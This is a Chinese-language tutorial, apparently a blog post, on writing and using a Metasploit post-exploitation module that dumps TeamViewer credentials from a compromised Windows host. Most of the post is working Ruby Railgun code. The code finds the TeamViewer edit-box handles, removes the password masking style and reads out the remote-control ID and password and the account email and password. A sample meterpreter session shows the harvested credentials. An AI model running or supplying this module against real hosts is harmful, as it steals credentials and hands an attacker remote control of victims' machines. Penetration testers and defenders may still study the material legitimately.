Get TeamViewer ID and Password

Dump TeamViewer ID and Password

前言

有时候会遇到目标主机安装有TeamViewer，在这种情况下一般会上传一个编译好的程序读取ID和控制密码，这样就可以连接上TeamViewer进而控制目标主机的屏幕操作，管理文件和连接VPN等等。

Metasploit中没有模块可以读取TeamViewer的ID和控制密码。我决定创建一个Metasploit模块，这个模块可以读取Teamviewer的ID和控制密码，如果登录窗口存在密码还会读取Email和登录密码。

怎么做

首先，这个模块使用了Metasploit中的Railgun功能，加载Windows内置动态链接库中的User32.dll并调用一些窗口函数，通过枚举窗口的信息，找到ID和控制密码的编辑框的句柄，然后发送Windows消息得到编辑框里的文本内容。

获取Teamviewer的主窗口句柄，一开始是通过FindWindows函数查找窗口标题得到窗口的句柄，但是在不同的主机里的系统语言可能不一样，这里考虑了兼容性，所以我使用了读取注册表"HKEY_CURRENT_USER\\Software\\TeamViewer"中的MainWindowHandle值作为主窗口的句柄。

获取ID和控制密码的代码：

# EnumWindows Function not work in RailGun, I don't know how to define the lpEnumFunc parameter
def enum_id_and_password(hwnd_main)
  hwnd_mwrcp = client.railgun.user32.FindWindowExW(hwnd_main, nil, 'MainWindowRemoteControlPage', nil)
  hwnd_irccv = client.railgun.user32.FindWindowExW(hwnd_mwrcp['return'], nil, 'IncomingRemoteControlComponentView', nil)
  hwnd_custom_runner_id = client.railgun.user32.FindWindowExW(hwnd_irccv['return'], nil, 'CustomRunner', nil)
  hwnd_custom_runner_pass = client.railgun.user32.FindWindowExW(hwnd_irccv['return'], hwnd_custom_runner_id['return'], 'CustomRunner', nil)
  #  find edit box handle
  hwnd_id_edit_box = client.railgun.user32.FindWindowExW(hwnd_custom_runner_id['return'], nil, 'Edit', nil)
  print_status("Found handle to ID edit box #{hwnd_id_edit_box['return'].to_s(16).rjust(8, '0')}")
  hwnd_pass_edit_box = client.railgun.user32.FindWindowExW(hwnd_custom_runner_pass['return'], nil, 'Edit', nil)
  print_status("Found handle to Password edit box #{hwnd_pass_edit_box['return'].to_s(16).rjust(8, '0')}")
  #  get window text
  if hwnd_id_edit_box['return'] && hwnd_pass_edit_box['return']
    print_good("ID: #{get_window_text(hwnd_id_edit_box['return'])}")
    print_good("PASSWORD: #{get_window_text(hwnd_pass_edit_box['return'])}")
  else
    print_error('Handle for TeamViewer ID or password edit box not found')
  end
end

获取Email和登录密码的代码：

def enum_email_and_password(hwnd_main)
  hwnd_lp = client.railgun.user32.FindWindowExW(hwnd_main, nil, 'LoginPage', nil)
  hwnd_lfv = client.railgun.user32.FindWindowExW(hwnd_lp['return'], nil, 'LoginFormView', nil)
  #  find edit box handle
  hwnd_email_edit_box = client.railgun.user32.FindWindowExW(hwnd_lfv['return'], nil, 'Edit', nil)
  print_status("Found handle to Email edit box #{hwnd_email_edit_box['return'].to_s(16).rjust(8, '0')}")
  hwnd_pass_edit_box = client.railgun.user32.FindWindowExW(hwnd_lfv['return'], hwnd_email_edit_box['return'], 'Edit', nil)
  print_status("Found handle to Password edit box #{hwnd_pass_edit_box['return'].to_s(16).rjust(8, '0')}")
  #  Remove ES_PASSWORD style
  #  https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowlongw
  #  https://docs.microsoft.com/en-us/windows/win32/controls/edit-control-styles
  #  GWL_STYLE  -16
  client.railgun.user32.SetWindowWord(hwnd_pass_edit_box['return'], -16, 0)
  #  get window text
  if hwnd_email_edit_box['return'] && hwnd_pass_edit_box['return']
    print_good("EMAIL: #{get_window_text(hwnd_email_edit_box['return'])}")
    print_good("PASSWORD: #{get_window_text(hwnd_pass_edit_box['return'])}")
  else
    print_error('Handle for TeamViewer ID or Password edit box not found')
  end
end

因为再Railgun中EnumChildWindows有一个参数是要重载EnumChildProc方法的，Metasploit做不到，也不是做不到，应该说比较麻烦，要在进程中申请一段有执行权限的内存，再把这个函数的shellcode写到这个地址，才能使用EnumChildWindows去调用这个方法，所以我就换为了FindWindowExW一层一层的找，还好Teamviewer编辑框的窗口类名都是不变的，使得这个方法可行。

找到编辑框的句柄之后就要获取编辑框里面的内容了，用C语言可以调用GetWindowTextW函数，但是在Metasploit又是行不通的，Railgun中这个函数有一个lpString参数是返回值，目前我还没找到调用他的方法。

所以我写了一个函数获取Windows标题：

def get_window_text(window_hwnd)
  if window_hwnd
    addr = session.railgun.util.alloc_and_write_wstring('Kali-Team')
    client.railgun.user32.SendMessageW(window_hwnd, 'WM_GETTEXT', 1024, addr)
    text = session.railgun.util.read_wstring(addr)
    client.railgun.multi([
      ['kernel32', 'VirtualFree', [addr, 0, MEM_RELEASE]],
    ])
    if text == ''
      return 'The content of this edit box is empty'
    else
      return text
    end
  else
    return nil
  end
end

模块使用

当你得到一个meterpreter会话的时候，可以直接执行该模块

meterpreter > run post/windows/gather/credentials/teamviewer_id_pwd 

[*] TeamViewer's language setting options are 'en'
[*] TeamViewer's version is '15.3.2682 '
[+] The PID of TeamViewer's process has been found to be  3188.
[+] TeamViewer's  title is 'TeamViewer'
[*] Found handle to ID edit box 00010596
[*] Found handle to Password edit box 0001059c
[+] ID: 1 561 912 659
[+] PASSWORD: 718xuu
[*] Found handle to Email edit box 0001054c
[*] Found handle to Password edit box 00010554
[+] EMAIL: kali-team@qq.com
[+] PASSWORD: MyPassword.
meterpreter >